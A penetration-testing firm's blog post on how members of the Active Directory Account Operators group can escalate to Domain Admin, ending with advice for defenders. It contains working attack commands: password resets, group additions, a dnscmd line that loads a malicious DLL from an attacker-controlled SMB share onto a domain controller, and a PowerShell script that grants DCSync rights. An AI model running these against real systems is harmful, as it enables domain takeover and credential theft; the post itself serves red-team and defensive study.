Account Operators Privilege Escalation

Screenshot of code by White Oak Security’s expert pentesters & red teamers say “Local group memberships, account operators, global group memberships, domain users, the command completed successfully.” this blog is about account operators privilege escalation.

On a recent Red Team engagement, White Oak Security had compromised a domain and dumped the Active Directory user password hashes. We attempted to pivot into another domain using shared credentials, but no domain administrator accounts shared credentials between the two domains. However, we did identify one account that shared credentials with the target domain which was in the “Account Operators” group, a default Active Directory group that I have flagged in my notes as a candidate for easy privilege escalation to Domain Administrator (DA) privileges.

Practical Privilege Escalation

While I have read several articles describing this potential attack path, there seems to be some confusion over what permissions this account actually has. The goal of this post is to share some details of the Account Operators permissions and describe practical paths to escalating to DA.

Account Operators

A description provided by a Microsoft article, describes the Account Operator default group and the permissions of the group as:

The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups. Group members can log in locally to domain controllers.

Members of the Account Operators group can’t manage the Administrator user account, the user accounts of administrators, or the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Members of this group can’t modify user rights.

The Account Operators group applies to the Windows Server operating system in the Default Active Directory security groups list.
Microsoft

Account Operator Permissions

Essentially, Account Operators can do the following:

Log on locally to domain controllers (no local admin by default)
Modify Local and Global groups besides the protected groups (Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups)
Modify user accounts including updating passwords (besides members of the protected groups)

Testing Potential Paths to DA

Using an Active Directory test lab, I tested the most obvious paths to escalation first to ensure that the described permissions actually held true. I created the user “AO” and added their account to the “Account Operators” group:

Screenshot of code by White Oak Security has red box highlights that say username - AO and Local Group Memberships - *Account Operators

Modification Of Protected Administrator Groups & Users

The default “Administrators” group contains the groups “Domain Admins”, “Enterprise Admins”, and the “Administrator” user. Attempting to modify any of these groups fails with “permission denied” as expected:

Additionally, attempting to modify the password for any of the accounts in these groups fails as well:

Access is denied after system error 5 occurred in this code screenshot by White Oak Security

Modification Of Protected Subgroups

One scenario that I saw mentioned elsewhere is modifying subgroups of the Administrators or Domain Admins groups, as the ACL is supposedly not passed down to the subgroup. The group “SecondaryDA” was created as a member of the “Domain Admins” group. Attempting to add any user to this group as the account operator fails, suggesting that the ACL is properly inherited and prevents this method of escalation:

The group “SecondaryDA” was created as a member of the “Domain Admins” group. Attempting to add any user to this group as the account operator fails, suggesting that the ACL is properly inherited and prevents this method of escalation In this screenshot of code by White Oak Security

This was tested with all the protected groups with the same results. Interestingly, if a new group is created in a non-default OU (not Users or BUILTIN) and then placed in a protected group, it is initially possible to modify this group as an Account Operator. However, after a period of time (about 5-10 minutes in my test lab) the Access Control List seems to propagate to the subgroup and modification by the Account Operator then fails.

Changing User Passwords

Account Operators can modify user objects for any user that is not a member of one of the protected groups listed above. This means that if you find a user that is not a Domain Admin but has administrative access to a sensitive server, you can simply modify their password and log in as them. For example, you identify ADMIN_john.doe is not a member of any of the protected groups but has local admin access to a server running an IT password manager software, it is possible to compromise their account by resetting their password:

Code screenshot shares that the user admin John.doe and newbadpassword123 was completely successfully.

High-Value Default Groups

The following default groups have direct paths to DA privileges:

DNSAdmins

Members of the DNSadmins can modify DNS settings on DNS servers, which are often domain controllers, leading to code execution as SYSTEM on the domain controller. This method requires the following steps:

Gain access to a user in the DNSAdmins group either by adding a compromised user account to the group or modifying the password of an existing user in the group.

Add-ADGroupMember -Identity "DNSAdmins" -Members AO

Gain access to the dnscmd tool, either through powershell/cmd access to a Windows Server or through installing Remote Server Administration Tools on a Windows Desktop.

Generate a malicious DLL to be run by the DNS service to gain code execution. This can be hosted remotely via SMB to avoid writing to disk (see below link for details on making this). Note that if the DLL crashes the DNS service, with only default DNSadmin permissions you likely won’t be able to bring the service back up.

Run the following command to configure the DNS service to use your malicious DLL:

dnscmd DC01.test.lab /config /serverlevelplugindll \\[attackerip]\SHARE\dns.dll

Restart the DNS service on the domain controller (by default, DNSadmins do not have permissions to restart the service via the “sc” command, but can do it with dnscmd):

dnscmd DC01.test.lab /restart

The DNS Service should now grab our DLL from the SMB Share and execute its contents, resulting in code execution as SYSTEM on the domain controller/DNS Server.

Code screenshot by White Oak Security’s redteamers of the SecureAuth being authenticated successfully.

For more information on this attack and constructing the DLL to be used by the DNS service, this abusing dnsadmins post or this dnsadmins post are great examples.

Exchange Windows Permissions

In environments that use Microsoft Exchange, the Exchange Windows Permissions group allows for privilege escalation to DA. Essentially, members of this group have permission to grant themselves DCSync privileges, and this attack path has been determined to be a “Won’t Fix” issue by Microsoft. Read this GitHub article which explains the attack in detail and provides the steps to exploit.

This method is straightforward and consists of two steps:

Add yourself or another compromised account to the group:

Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members AO

Grant yourself Ds-Replication-Get-Changes and Ds-Replication-Get-Changes-All extended rights (bolded items must be modified to match your domain environment):

$acl = get-acl "ad:DC=test,DC=local"
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
$user = Get-ADUser -Identity $id.User
$sid = new-object System.Security.Principal.SecurityIdentifier $user.SID
# rightsGuid for the extended right Ds-Replication-Get-Changes-All
$objectguid = new-object Guid  1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
$identity = [System.Security.Principal.IdentityReference] $sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
# rightsGuid for the extended right Ds-Replication-Get-Changes
$objectguid = new-object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
Set-acl -aclobject $acl "ad:DC=test,DC=local"

Azure Admins

With some Azure AD configurations, it is possible to exploit the Azure-ADConnect integration service to obtain and decrypt credentials for the Azure AD Replication account, which effectively has DA privileges. This replication method appears to have been hardened in 2020, requiring some additional steps to exploit. See the following links for proof-of-concept code and a detailed description of the attack:

High-Value Non-Default Groups

Another way to obtain domain privilege escalation is to modify non-default groups that may have sensitive access. For example, there may be a group called “IT Admins” that is not a member of a protected group, but grants local admin access to numerous high-value servers. This group is an easy target that we can add our own compromised user to or modify the password of an existing user within the group.

For example, there may be a group called “IT Admins” that is not a member of a protected group, but grants local admin access to numerous high-value servers. This group is an easy target that we can add our own compromised user to or modify the password of an existing user within the group. Screenshot by White Oak Security.

Account Operators Privilege Escalation Wrap-Up

The default Account Operators group is often just one step away from Domain Administrator privileges. It allows attackers to change user passwords or group membership for any user or group not within the protected groups. For attackers, this is a useful group to achieve privilege escalation to DA or maintain less obvious persistence within an environment. For Defenders, this group should be monitored, and users within the group should be considered to have DA privileges.

More From White Oak Security

White Oak Security is a highly skilled and knowledgeable cyber security and penetration testing company that works hard to get into the minds of opponents to help protect those we serve from malicious threats through expertise, integrity, and passion.